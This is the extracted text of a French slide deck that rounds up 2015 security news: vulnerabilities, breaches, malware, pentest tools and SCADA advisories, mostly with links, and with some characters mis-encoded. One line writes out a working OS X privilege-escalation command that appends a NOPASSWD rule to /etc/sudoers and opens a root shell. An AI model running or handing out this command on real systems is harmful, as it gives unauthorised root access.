ǒFortinet : élévation de privilèges sur FortiClient
http://seclists.org/fulldisclosure/2015/Sep/0

Système (principales failles)

https://technet.microsoft.com/en-us/library/security/3074162
http://codewhitesec.blogspot.nl/2015/07/symantec-endpoint-protection.html
http://expertmiami.blogspot.fr/2015/07/avast-cache-virus-rpc-eop-et-rce.html
http://expertmiami.blogspot.fr/2015/07/avast-partage-dinterface-rpc-eop.html
http://expertmiami.blogspot.fr/2015/08/avast-contournement-de-la-protection.html
http://expertmiami.blogspot.fr/2015/08/avast-taskex-rpc-eop-and-potential-rce.html
http://expertmiami.blogspot.fr/2015/08/avast-shatter-attack-eop.html
https://www.f-secure.com/en/web/labs_global/fsc-2015-3
http://www.ioactive.com/pdfs/IOActive_Advisory_F-Secure.pdf
http://seclists.org/fulldisclosure/2015/Sep/0


Failles / Bulletins / Advisories

Vulnérabilités dans le système UConnect de Fiat-Chrysler (Présenté à BlackHat et DEFCON)

ǒPrise de contr¹le ¨ distance dôune Jeep non modifi®e

ǒLivre blanc de 90 pages très intéressant
ƺ Les chercheurs partent travailler chez Über
http://blog.ioactive.com/2013/08/car-hacking-content.html

Des vulnérabilités chez Tesla

ǒQui a débauché Chris Evans de Google (ex- head/recruteur du project Zero)
http://www.wired.com/2015/08/researchers-hacked-model-s-teslas-already/

Des vulnérabilités similaires sur le système Touch&Go de Toyota
https://www.jkry.org/ouluhack/Toyota%20Touch%20%26%20Go#preview

Toujours à la DEFCON, attaques sur les clés de voitures

ǒEt les services de déverrouilage/démarrage via smartphone
http://samy.pl/defcon2015/2015-defcon.pdf

Un autre papier sur les clés de voiture

ǒPublié deux ans après
https://www.usenix.org/sites/default/files/sec15_supplement.pdf

Voitures 

http://blog.ioactive.com/2013/08/car-hacking-content.html
http://www.wired.com/2015/08/researchers-hacked-model-s-teslas-already/
https://www.jkry.org/ouluhack/Toyota Touch & Go#preview
http://samy.pl/defcon2015/2015-defcon.pdf
https://www.usenix.org/sites/default/files/sec15_supplement.pdf


Failles / Bulletins / Advisories

FireEye, multiples vulnérabilités

ǒPath traversal (le serveur web tourne en root), contournement de l'authentification et injection 

de commande...

ǒUne vulnérabilité publiée, les autres sont à vendre
http://pastebin.com/ExXFZhDM

http://www.csoonline.com/article/2980937/vulnerabilities/researcher-discloses-zero-day-vulnerability-in-fireeye.html

Réseau (principales failles)

Switch Cisco, erreur de conception
Certains c©bles ethernet peuvent appuyer sur le bouton ñmodeò qui reboot 

le switch et réinitialise la conf
http://www.cisco.com/c/en/us/support/docs/field-notices/636/fn63697.html

Déni de service sur les routeurs CISCO ASR 1000
Erreur en cas de fragmentation de paquets

http://www.tripwire.com/state-of-security/latest-security-news/cisco-patches-

fragmented-packet-dos-vulnerability-in-asr-1000-series/

Contournement dôauthentification sur NETGEAR Wireless 

Management System
http://seclists.org/fulldisclosure/2015/Sep/16

http://pastebin.com/ExXFZhDM
http://www.csoonline.com/article/2980937/vulnerabilities/researcher-discloses-zero-day-vulnerability-in-fireeye.html
http://www.cisco.com/c/en/us/support/docs/field-notices/636/fn63697.html
http://www.tripwire.com/state-of-security/latest-security-news/cisco-patches-fragmented-packet-dos-vulnerability-in-asr-1000-series/
http://seclists.org/fulldisclosure/2015/Sep/16


Failles / Bulletins / Advisories

MacOS X

ǒDevenir Root en un seul tweet :

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

http://www.theregister.co.uk/2015/07/22/os_x_root_hole/

ǒExécution de code via Quicktime
https://packetstormsecurity.com/files/133268

Apple

http://www.theregister.co.uk/2015/07/22/os_x_root_hole/
https://packetstormsecurity.com/files/133268


Failles / Bulletins / Advisories

Android Exécution de code par un MMS

ǒEn envoyant un fichier multimédia lu avec la librairie Stagefright

ǒMais également exploitable par toute application utilisant la librairie

ƺ Reste à trouver un exploit kernel pour infecter le terminal

http://www.zdnet.fr/actualites/stagefright-un-simple-mms-pour-controler-95-des-smartphones-android-39822978.htm

ǒA présent, il y aura des mises à jour tous les mois

ƺ Vont elles arriver sur nos mobiles ?

http://www.wired.com/2015/08/google-samsung-lg-roll-regular-android-security-updates/

Google synchronise vos photos

ǒMême si vous désinstallez Google Photos
http://www.silicon.fr/google-synchronise-donnees-a-linsu-utilisateurs-121681.html?PageSpeed=noscript

29 vulnérabilités corrigées dans Google Chrome

http://www.scmagazineuk.com/google-releases-chrome-45-and-patches-29-vulnerabilities/article/436366/

Google

http://www.zdnet.fr/actualites/stagefright-un-simple-mms-pour-controler-95-des-smartphones-android-39822978.htm
http://www.wired.com/2015/08/google-samsung-lg-roll-regular-android-security-updates/
http://www.silicon.fr/google-synchronise-donnees-a-linsu-utilisateurs-121681.html?PageSpeed=noscript
http://www.scmagazineuk.com/google-releases-chrome-45-and-patches-29-vulnerabilities/article/436366/


Failles / Bulletins / Advisories

OpenSSL CVE-2015-1793

ǒContournement de la v®rification dôun certificat en cas de signature crois®e

ƺ Analysé sur NoLimitSécu en juillet
http://www.nolimitsecu.fr/openssl-alternative-chains-certificate-forgery-bug/

ǒAnalyse détaillée de la vulnérabilité par 360Vulcan
https://translate.googleusercontent.com/translate_c?depth=1&hl=en&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=en&u=http://blogs.36

0.cn/blog/openssl-cve-2015-

1793%25E6%25BC%258F%25E6%25B4%259E%25E5%2588%2586%25E6%259E%2590/&usg=ALkJrhj7DlpO1Fy9J3ldP5xo9xpK-wqM5A

RC4 cassé (encore)

ǒDéchiffrement d'un cookie quelques dizaines d'heures
http://www.rc4nomore.com/

ǒMais Google, Microsoft et Mozilla annoncent lôarr°t de son support
http://www.zdnet.fr/actualites/chiffrement-google-microsoft-et-mozilla-annoncent-la-fin-du-support-de-rc4-39824262.htm

Détecter une backdoor dans le générateur de clef de RSA de la courbe elliptique 25519
http://samvartaka.github.io/backdoors/2015/09/03/rsa-curve25519-backdoor/

Crypto

http://www.nolimitsecu.fr/openssl-alternative-chains-certificate-forgery-bug/
https://translate.googleusercontent.com/translate_c?depth=1&hl=en&ie=UTF8&prev=_t&rurl=translate.google.com&sl=auto&tl=en&u=http://blogs.360.cn/blog/openssl-cve-2015-1793%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/&usg=ALkJrhj7DlpO1Fy9J3ldP5xo9xpK-wqM5A
http://www.rc4nomore.com/
http://www.zdnet.fr/actualites/chiffrement-google-microsoft-et-mozilla-annoncent-la-fin-du-support-de-rc4-39824262.htm
http://samvartaka.github.io/backdoors/2015/09/03/rsa-curve25519-backdoor/


Failles / Bulletins / Advisories

Porte d®rob®e en Javascript via un bug dans les ñminifierò

ǒminifier = permettent de réduire la longueur du code
https://zyan.scripts.mit.edu/blog/backdooring-js/

Vulnérabilité dans VLC
https://packetstormsecurity.com/files/133266

Exfiltration de données via RF

ǒEmission de données via la carte graphique

ǒInterception possible depuis le r®cepteur FM dôun t®l®phone portable standard

http://www.wired.com/2015/07/researchers-hack-air-gapped-computer-simple-cell-phone/

Vulnérabilités dans Pocket

ǒSSRF & utilisation de ñfile://ò

ǒService ex®cut® par lôutilisateur ñrootò
https://www.gnu.gl/blog/Posts/multiple-vulnerabilities-in-pocket/

Divers

https://zyan.scripts.mit.edu/blog/backdooring-js/
https://packetstormsecurity.com/files/133266
http://www.wired.com/2015/07/researchers-hack-air-gapped-computer-simple-cell-phone/
https://www.gnu.gl/blog/Posts/multiple-vulnerabilities-in-pocket/


Failles / Bulletins / Advisories

Vulnérabilités Wordpress

ǒXSS et injection SQL
https://wordpress.org/news/2015/08/wordpress-4-2-4-security-and-maintenance-release

Vulnérabilité dans les solutions Thomson Reuters FACTA

ǒGestion de la compliance dans les organisations financières

ǒPossibilit® dôuploader du code et donc de prendre le contr¹le du logiciel
http://seclists.org/fulldisclosure/2015/Aug/24

Divers

https://wordpress.org/news/2015/08/wordpress-4-2-4-security-and-maintenance-release/
http://seclists.org/fulldisclosure/2015/Aug/24


Crypto

Le NIST publie SHA-3 (Keccak)

ǒPermettant des condensats de flux
http://www.nist.gov/itl/csd/201508_sha3.cfm

ROT26, deux fois plus sécurisé que ROT13
http://rot26.info/

Recommandations initiales pour la crypto ñpost-Quantumò (PQCRYPTO é)
http://pqcrypto.eu.org/docs/initial-recommendations.pdf

Factorisation de clés RSA sur des échanges TLS avec Perfect Forward Secrecy

ǒPour certaines implémentations ne disposant pas de durcissement RSA-CRT

ǒopenssl et NSS non-vulnérables
https://securityblog.redhat.com/2015/09/02/factoring-rsa-keys-with-tls-perfect-forward-secrecy/

Divers

http://www.nist.gov/itl/csd/201508_sha3.cfm
http://rot26.info/
http://pqcrypto.eu.org/docs/initial-recommendations.pdf
https://securityblog.redhat.com/2015/09/02/factoring-rsa-keys-with-tls-perfect-forward-secrecy/


Piratages, Malwares, spam, fraudes et DDoS

Contournement du filtre Anti-XSS de NoScript
http://blog.portswigger.net/2015/07/noscript-xss-filter-bypass.html

Contournement de la sandbox du lecteur de PDF de Firefox

ǒExploit® depuis un site en Russie, afin de r®cup®rer des fichiers sur lôordinateur 

ƺ Comptes de client ftp/ssh, mots de passe locaux, fichier hosts, historique de command bash et mysql, ircé

https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/

Hack 2.0

http://blog.portswigger.net/2015/07/noscript-xss-filter-bypass.html
https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/


Piratages, Malwares, spam, fraudes et DDoS

Des smartphones Android vendu pré-infectés par des malwares

ǒPar des intermédiaires, cherchant des revenus publicitaires
http://www.generation-nt.com/smartphone-android-malware-gdata-actualite-1918701.html

DarkCode (malware pour Android)

ǒC'est confirmé, l'auteur était stagiaire chez FireEye
http://www.scmagazine.com/guilty-plea-by-malware-author-culbertson-for-peddling-dendroid-rat/article/434887/

Nouvelles campagnes dôattaques bancaires 

ǒNouvelles versions du malware Carbanak
https://threatpost.com/new-versions-of-carbanak-banking-malware-seen-hitting-targets-in-u-s-and-europe/114522/

Kaspersky accus® dôavoir cr®®, vers 1997, ses propres faux-malwares

ǒPour tromper les antivirus concurrents mais sans preuve r®elle pour lôinstant
http://www.journaldugeek.com/2015/08/18/kaspersky-accuse_saboter-concurrents/

Malware

http://www.generation-nt.com/smartphone-android-malware-gdata-actualite-1918701.html
http://www.scmagazine.com/guilty-plea-by-malware-author-culbertson-for-peddling-dendroid-rat/article/434887/
https://threatpost.com/new-versions-of-carbanak-banking-malware-seen-hitting-targets-in-u-s-and-europe/114522/
http://www.journaldugeek.com/2015/08/18/kaspersky-accuse_saboter-concurrents/


Piratages, Malwares, spam, fraudes et DDoS

Déni de service réfléchit par BitTorrent / DRDoS

ǒDans le cas de lôutilisation du protocole Micro Transport Protocol (ÕTP)

ǒEffet de levier allant jusquô¨ x4
http://engineering.bittorrent.com/2015/08/27/drdos-udp-based-protocols-and-bittorrent/

DDoS

http://engineering.bittorrent.com/2015/08/27/drdos-udp-based-protocols-and-bittorrent/


Piratages, Malwares, spam, fraudes et DDoS

Lunette de tir, pour arme à feu, pilotée par un Smartphone en Wifi

ǒPermettant également de visionner les tir en 4G depuis la maison
http://tracking-point.com/shotview

https://www.youtube.com/watch?v=OKldy2YNAHk

ǒMais quel peut donc être le problème  !!? Un prise de contrôle à distance !
http://www.wired.com/2015/07/hackers-can-disable-sniper-rifleor-change-target/

Analyse dôun firmware Belkin
http://blog.vectranetworks.com/blog/belkin-analysis

Analyse dôune alarme connect®e, 2¯me partie
https://funoverip.net/2014/12/reverse-engineer-a-verisure-wireless-alarm-part-2-firmwares-and-crypto-keys/

Vulnérabilités dans les contrôleurs domotiques Honeywell

ǒñUse of Client-Side Authenticationò
https://www.kb.cert.org/vuls/id/857948

Disque dur Seagate

ǒIdentifiants cod®s en dur, path traversalé
http://www.kb.cert.org/vuls/id/903500

Internet des Objets

http://tracking-point.com/shotview
https://www.youtube.com/watch?v=OKldy2YNAHk
http://www.wired.com/2015/07/hackers-can-disable-sniper-rifleor-change-target/
http://blog.vectranetworks.com/blog/belkin-analysis
https://funoverip.net/2014/12/reverse-engineer-a-verisure-wireless-alarm-part-2-firmwares-and-crypto-keys/
https://www.kb.cert.org/vuls/id/857948
http://www.kb.cert.org/vuls/id/903500
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Hammertoss

ǒLe nouveau malware probable des russes dôAPT29

ǒDes mêmes auteurs que MiniDuke 
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf

Espionnage

https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf


Piratages, Malwares, spam, fraudes et DDoS

Les 600 derniers piratages Chinois réussis aux USA

ǒEntre 2011 et 2014

ǒDans des slides ñconfidentielsò pr®par®s par la NSA (02/2014)

ƺ Pour faire peur aux chefs/généraux/politiques
http://www.nbcnews.com/news/us-news/exclusive-secret-nsa-map-shows-china-cyber-

attacks-us-targets-n401211

ǒEn exclusivité, la même carte pour la France

Sites Piratés

Une batterie de missiles Allemand en Turquie ñauraitò ®t® pirat®e

ǒet contrôlée pendant quelques secondes par les hackeurs
ƺLes missiles sont de vieux ñPatriotsò am®ricains

http://www.thelocal.de/20150707/german-missiles-taken-over-by-hackers

Le pirate IvoidWarranties pirate les panneaux dôaffichage de 

stationnement de Lille

ǒEncore un protocole vieux,  spécifique et non sécurisé
http://www.zdnet.fr/actualites/piratage-comment-ivoidwarranties-a-t-il-hacke-les-

panneaux-lumineux-de-lille-39824254.htm

http://www.nbcnews.com/news/us-news/exclusive-secret-nsa-map-shows-china-cyber-attacks-us-targets-n401211
http://www.thelocal.de/20150707/german-missiles-taken-over-by-hackers?utm_content=bufferb3374&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
http://www.zdnet.fr/actualites/piratage-comment-ivoidwarranties-a-t-il-hacke-les-panneaux-lumineux-de-lille-39824254.htm
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BitDefender

ǒ(à confirmer) uniquement leur site web

ǒVol de données non chiffrées de clients
http://thehackernews.com/2015/07/bitdefender-hacked.html

Le RSSI qui trichait à son propre Loto

ǒEt a gagn® $14.3 millionsé et 10 ans de prison

ǒAlt®ration du PRNG de la loterie de lô®tat de lôIowa avec une backdoor
http://www.theregister.co.uk/2015/07/22/lotto_infosec_director_guilty/

Suite du piratage de Sony

ǒAccord de principe entre les employ®s et Sony (face ¨ la ñclass actionò)
http://www.theinquirer.net/inquirer/news/2424379/sony-hack-nears-end-credits-as-firm-reaches-settlement-with-ex-employees

Sites Piratés

http://thehackernews.com/2015/07/bitdefender-hacked.html
http://www.theregister.co.uk/2015/07/22/lotto_infosec_director_guilty/
http://www.theinquirer.net/inquirer/news/2424379/sony-hack-nears-end-credits-as-firm-reaches-settlement-with-ex-employees
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Le Bugzilla de Mozilla piraté

ǒAccès à 53 0-days critiques

ǒLes pirates auraient débuté à y avoir accès fin 2013

ƺ Un exploit pour une de ces vulnérabilités aurait même été utilisé, notamment en Russie

ǒMozilla répare et impose le 2FA

ǒPublication récente car Mozilla attendait que toutes les vulnérabilités soient corrigées
https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2015/09/BugzillaFAQ.pdf

https://blog.mozilla.org/security/2015/09/04/improving-security-for-bugzilla/

Vol de données médicales aux US

ǒ3,9 millions de patients concernés

ǒApparemment fonctionnement en SaaS pour plus de 300 centres médicaux et hôpitaux
http://www.nbcdfw.com/news/local/Medical-Software-Company-Hacked-39-Million-People-Affected-320509472.html

Sites Piratés

https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2015/09/BugzillaFAQ.pdf
https://blog.mozilla.org/security/2015/09/04/improving-security-for-bugzilla/
http://www.nbcdfw.com/news/local/Medical-Software-Company-Hacked-39-Million-People-Affected-320509472.html
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Ashley Madison

ǒVol et publication des données interne
ƺ Base de 37 millions de comptes 

ƴ Mails, liste des achats, Codes sources

ƺ Mails internes du CEO, Noel Biderman

ǒChantage en demandant de clôture des sites 

ñnon ®thiquesò
ƺ AshleyMadison et EstablishedMen.com 

(~SugarDady canadien)

Sites Piratés

http://krebsonsecurity.com/2015/07/online-cheating-site-ashleymadison-hacked/

ǒPublication en 3 lotsé
ƺ Mise à prix de la tête du hackeur pour $500k ($ canadiens) / 330kú

ƺ Campagne de chantage sur les clients du site

ƺ Les pires mots de passe classés http://www.zdnet.com/article/these-are-the-worst-passwords-from-the-ashley-madison-hack/

ǒLes mails du CEO ont été analysés :
ƺ Il trompait sa femme avec des escorts et faisait créer de faux comptes de femmes sur AshleyM

ǒLôanalyse de la BDD montre quô®norm®ment de comptes actifs de femmes ®taient des robots 
http://gizmodo.com/ashley-madison-code-shows-more-women-and-more-bots-1727613924

ǒLôanalyse sur NoLimitS®cu http://www.nolimitsecu.fr/ashley-madison/

ǒJohn McAfee a son avis sur lôaffaire http://gizmodo.com/john-mcafee-ashley-madison-was-an-inside-job-1726111959

ǒNominé aux Pwnie Awards 2015 http://pwnies.com/nominations/

ǒUne ñclass actionò aux USA http://www.wired.com/2015/08/ashley-madison-hit-500-million-lawsuits/

http://krebsonsecurity.com/2015/07/online-cheating-site-ashleymadison-hacked/
http://www.zdnet.com/article/these-are-the-worst-passwords-from-the-ashley-madison-hack/
http://gizmodo.com/ashley-madison-code-shows-more-women-and-more-bots-1727613924
http://www.nolimitsecu.fr/ashley-madison/
http://gizmodo.com/john-mcafee-ashley-madison-was-an-inside-job-1726111959
http://pwnies.com/nominations/
http://www.wired.com/2015/08/ashley-madison-hit-500-million-lawsuits/


Pentest

Pentest Windows

ǒAbuser des ñSID historyò pour cr®er des golden tickets valables sur lôensemble dôune for°t
ƺ Intégré à Mimikatz

ƺ Dispo également dans Impacket : 

https://github.com/CoreSecurity/impacket/blob/master/examples/raiseChild.py#L10

ǒDC Sync :  utilisation des fonctions de synchronisation entre DC pour voler les hashs de mot 

de passe
ƺ Permet de spécifier les utilisateurs dont on souhaite les informations

ƺ Génère peu voire pas de traces inforensiques

ǒCrackMapExec : outil à tout faire pour le pentest Windows
ƺ Scan, énumération des partages, recherche par pattern, exécution de commandes sur multiples 

systèmes

ƺ Pure Python

ƺ https://github.com/byt3bl33d3r/CrackMapExec

Sonar.js

ǒUn framework pour scanner et faire de la reconnaissance sur le réseau interne depuis une 

page web
https://github.com/mandatoryprogrammer/sonar.js

Cracklord

ǒSystème de distribution de tâches spécialisé pour le cassage de mot de passe

ǒEn GO
https://github.com/jmmcatee/cracklord/blob/master/README.md

Techniques & outils

https://github.com/CoreSecurity/impacket/blob/master/examples/raiseChild.py#L10
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/mandatoryprogrammer/sonar.js
https://github.com/jmmcatee/cracklord/blob/master/README.md


Pentest

GCat

ǒC&C utilisant une boîte gmail
https://github.com/byt3bl33d3r/gcat

Binnavi

ǒUn IDE pour lôanalyse binaire rendu public par Google
https://github.com/google/binnavi

Générateur de clé Wifi

ǒExploite les clés par défaut sur les routeurs SOHO

ǒAppli Android disponible
http://routerkeygen.github.io/

Bettercap

ǒUn framework modulaire de MitM
http://www.bettercap.org/

CredCrack pour auditer un réseau Microsoft
http://korben.info/credcrack-testez-la-securite-de-votre-reseau-windows.html

Techniques & outils

https://github.com/byt3bl33d3r/gcat
https://github.com/google/binnavi
http://routerkeygen.github.io/
http://www.bettercap.org/
http://korben.info/credcrack-testez-la-securite-de-votre-reseau-windows.html


Scada

La FDA recommande de ne pas utiliser les pompes connectées Hospira Symbiq Infusion 

System

ǒCar accessible et contrôlable depuis le réseau de l'hôpital
http://xs-sniper.com/blog/2015/06/08/hospira-plum-a-infusion-pump-vulnerabilities/

ǒFDA = Agence américaine des produits alimentaires et médicamenteux
http://www.fda.gov/MedicalDevices/Safety/AlertsandNotices/ucm456815.htm

Un sondage sur la sécurité des SI industriels

ǒ47% des interrogés considère leur SI modérément menacé

ǒ25% ont réalisé une évaluation sécurité dans les 3 derniers mois

ǒLa moiti® a eu au moins un incident ñcyberò lors des 24 derniers mois
http://www.controleng.com/fileadmin/content_files/ce/Control_Engineering_2015_Cyber_Security_Report.pdf

Divers

http://xs-sniper.com/blog/2015/06/08/hospira-plum-a-infusion-pump-vulnerabilities/
http://www.fda.gov/MedicalDevices/Safety/AlertsandNotices/ucm456815.htm
http://www.controleng.com/fileadmin/content_files/ce/Control_Engineering_2015_Cyber_Security_Report.pdf


Scada

Injection de code sur Cogent DataHub
https://ics-cert.us-cert.gov/advisories/ICSA-15-246-01

Vulnérabilités sur les automates Schneider M340

ǒXSS & RFI
https://ics-cert.us-cert.gov/advisories/ICSA-15-246-02

Switches Moxa EDS-405A/EDS-408A

ǒMauvaise gestion des droits, DoS, XSS
https://ics-cert.us-cert.gov/advisories/ICSA-15-246-03

Compte codé en dur dans WebBox SMA

ǒEn charge de la gestion de centrales solaires
https://ics-cert.us-cert.gov/advisories/ICSA-15-181-02

IP forwarding  sur équipements réseau Siemens

ǒFonctionnalité non-désactivable
http://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-720081.pdf

https://ics-cert.us-cert.gov/advisories/ICSA-15-244-01

Divers

https://ics-cert.us-cert.gov/advisories/ICSA-15-246-01
https://ics-cert.us-cert.gov/advisories/ICSA-15-246-02
https://ics-cert.us-cert.gov/advisories/ICSA-15-246-03
https://ics-cert.us-cert.gov/advisories/ICSA-15-181-02
http://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-720081.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-15-244-01


Scada

BufferOverflow sur Moxa SoftCMS

ǒSouvent utilisé pour la gestion des caméras de surveillance

ǒVulnérabilité dans un ActiveX
https://ics-cert.us-cert.gov/advisories/ICSA-15-239-01

CSRF sur lôinterface web des automates Siemens S7-1200
https://ics-cert.us-cert.gov/advisories/ICSA-15-239-02

Déni de service sur les firewall mGuard
https://ics-cert.us-cert.gov/advisories/ICSA-15-239-03

Encore des vuln®rabilit®s DTM é
https://ics-cert.us-cert.gov/advisories/ICSA-15-237-01

https://ics-cert.us-cert.gov/advisories/ICSA-15-223-01

21 vulnérabilités corrigées dans PI Data Archive de OSI Soft
https://ics-cert.us-cert.gov/advisories/ICSA-15-225-01

Stockage de mot de passe en clair chez Schneider InduSoft WebStudio et InTouch
https://ics-cert.us-cert.gov/advisories/ICSA-15-211-01

Divers

https://ics-cert.us-cert.gov/advisories/ICSA-15-239-01
https://ics-cert.us-cert.gov/advisories/ICSA-15-239-02
https://ics-cert.us-cert.gov/advisories/ICSA-15-239-03
https://ics-cert.us-cert.gov/advisories/ICSA-15-237-01
https://ics-cert.us-cert.gov/advisories/ICSA-15-223-01
https://ics-cert.us-cert.gov/advisories/ICSA-15-225-01
https://ics-cert.us-cert.gov/advisories/ICSA-15-211-01


Scada

Déni de service sur les équipement SIPROTECT de Siemens

ǒProtection électrique
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

Stockage non-sécurisé des mots de passe sur sm@rtClient Android
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-02

Contournement de lôauthentification sur les RTU MIC de Siemens
https://ics-cert.us-cert.gov/advisories/ICSA-15-195-01

Exécution de code à distance sur Advantech WebAccess
http://seclists.org/fulldisclosure/2015/Sep/20

Divers

https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-02
https://ics-cert.us-cert.gov/advisories/ICSA-15-195-01
http://seclists.org/fulldisclosure/2015/Sep/20


Nouveautés (logiciel, langage, protocole...)

Batavia, interpréteur Python en Javascript !!?
https://github.com/pybee/batavia

SIMP

ǒLôoutil dôinforensique de la NSAé publi® sur github !!?
https://github.com/simp

Facebook publie son framework Hack Codegen

ǒBasé sur leur langage dérivé de PHP
http://www.developpez.com/actu/89013/Facebook-propose-en-open-source-son-framework-Hack-Codegen-pour-generer-

automatiquement-du-code-Hack/

Open Source

https://github.com/pybee/batavia
https://github.com/simp
http://www.developpez.com/actu/89013/Facebook-propose-en-open-source-son-framework-Hack-Codegen-pour-generer-automatiquement-du-code-Hack/


Nouveautés (logiciel, langage, protocole...)

Hexed

ǒLô®diteur hexad®cimal web, mais traitant les binaires localement
https://hexed.it/

CircuitJS

ǒUn simulateur de circuits électroniques web

http://lushprojects.com/circuitjs/

GotoSSH

ǒUn client SSH web !!?
https://www.gotossh.com/

Un logiciel pour détecter les différences entre exécutables en mémoire et sur le disque

https://github.com/theresponder/MemoryPatchDetector

Hornet, un TOR boosté aux stéroïdes
http://www.linformaticien.com/actualites/id/37421/hornet-un-tor-de-course.aspx

Divers

https://hexed.it/
http://lushprojects.com/circuitjs/
https://www.gotossh.com/
https://github.com/theresponder/MemoryPatchDetector
http://www.linformaticien.com/actualites/id/37421/hornet-un-tor-de-course.aspx


Nouveautés (logiciel, langage, protocole...)

Fieldbook Secure

ǒLe smartphone français sécurisé
http://www.journaldugeek.com/2015/07/07/le-fieldbook-secure-serait-un-smartphone-francais-ultra-securise/

Un Windows impossible à pirater, ce serait possible

ǒPar Morphisec est une société Israélienne 

ƺ « prevent the 0day vulnerabilities » , « randomized all memory » et « claims to be able to 100% of the 

success rate to prevent hacking. ».

ǒPas de détails, mais en lisant entre les lignes :

ƺ Durcissement + EMET (gratuit) / Cyvera (payant) ou équivalent + Marketing

http://www.qqad.net/israel-corp-claims-that-the-development-of-the-windows-system-can-not-break/

Divers

http://www.journaldugeek.com/2015/07/07/le-fieldbook-secure-serait-un-smartphone-francais-ultra-securise/
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Nouveautés (logiciel, langage, protocole...)

Google, Netflix, Microsoft, Mozilla et  Amazon 

arrêtent Flash

ǒGoogle va bloquer les publicités Flash depuis le 

navigateur Chrome
http://www.theregister.co.uk/2015/08/28/google_says_flash_ad

s_out_september/

ǒAmazon va bloquer les publicités Flash
http://www.v3.co.uk/v3-uk/news/2423043/amazon-announces-

ban-on-flash-advertising

ǒMozilla bloque Flash dans Firefox
http://www.ghacks.net/2015/07/14/mozilla-blocks-all-versions-

of-adobe-flash-in-firefox/

Flash

http://www.theregister.co.uk/2015/08/28/google_says_flash_ads_out_september/
http://www.v3.co.uk/v3-uk/news/2423043/amazon-announces-ban-on-flash-advertising
http://www.ghacks.net/2015/07/14/mozilla-blocks-all-versions-of-adobe-flash-in-firefox/

